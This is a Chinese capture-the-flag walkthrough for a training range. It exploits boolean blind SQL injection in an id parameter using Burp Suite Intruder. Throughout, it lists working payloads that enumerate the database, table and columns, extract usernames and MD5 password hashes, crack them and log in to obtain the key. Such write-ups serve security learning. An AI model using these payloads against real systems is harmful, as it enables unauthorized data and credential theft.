进入靶场,发现有个滚动的公告
点击进去,发现url框有着经典的id=1
可以试试这能不能注入
测试注入点
在后边加上and 1=1回显正常
改成and 1=-1页面回显不正常,说明存在注入点
找到注入点了,就可以通过这个知道数据库名、表名、字段名等信息
因为是盲注,所以先猜出来库名的长度
库名长度
这里使用 length(database())=x 判断数据库database()名的长度,这里的x是数字1,2,3······
这里从1开始试一直到9都是空白,10的时候出现界面
说明库名长度为10
数据库名爆破
使用 substr(a,b,c) 对比数据库名
从b位置开始,截取字符串a的c长度
打开BurpSuite
浏览器里边输入 and substr(database(),1,1)='a' --+对其进行拦截
发送给Intruder
攻击类型选择Sinper
在a那个地方添加§
在payloads那加入有效负荷选项,A-Z和a-z
开始爆破第一个字符
可以看到小写的s有效负荷长度明显偏大,所以第一个字符就是's'
接下来逐个击破后边九个
第二个字符只要把Positions那边的(database(),1,1)改为(database(),2,1)就可以了
第三个字符只要把(database(),1,1)改为(database(),3,1)······
以此类推,最后得出数据库名为:stormgroup
接下来就可以暴表名、字段等内容了,方法与上边暴库名一致
参考
substr(a,b,c) 对比表名
ascii(x)=97 判断x的ascii码是否等于97
length(database())=8 判断长度
limit x,y x表示从第几行数据开始查,y表示查几条数据,limit 3,2 表示从第四行数据开始,取两条数据
暴表名
and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1)=0
在此处添加§
因为是对比ascii码,所以payload给了0~127
测出来第一个字符的ascii码是109,对应的'm'
把ascii(substr(table_name,1,1)改成ascii(substr(table_name,2,1)弄出来第二个,以此类推
表名为:member
暴字段
先看看字段名长度
and length((select column_name from information_schema.columns where table_name="member" and table_schema="stormgroup" limit 0,1))=4得出第一个字段长度为4
把 limit 0,1 改成 limit 1,1 、limit 2,1 分别测出共3个字段,长度分别为:4,8,6
开始搞名字
and ascii(substr((select column_name from information_schema.columns where table_name="member" limit 0,1), 1,1))=0
同理用burp得出字段名分别为:name、password、status
暴字段内容
and ascii(substr((select concat(name) from stormgroup.member limit 0,1),1,1))=0
抓包爆破
两个name都是:mozhe
and ascii(substr((select concat(password) from stormgroup.member limit 0,1),1,1))=0
抓包爆破
password也有两个,实在是太长了,用Cluster bomb模式进行爆破
第一个
转成字符:3114b433dece9180717f2b7de56b28a3
第二个
转成字符:499e8c1af940b156df74b22d316d369d
离谱一大串!!!
看着像加密了,拿去MD5试试
第一个:528469
第二个:634036
登录
第一个不行,换第二个
得到key
mozhe08519d1014c8806a9ed940dfce0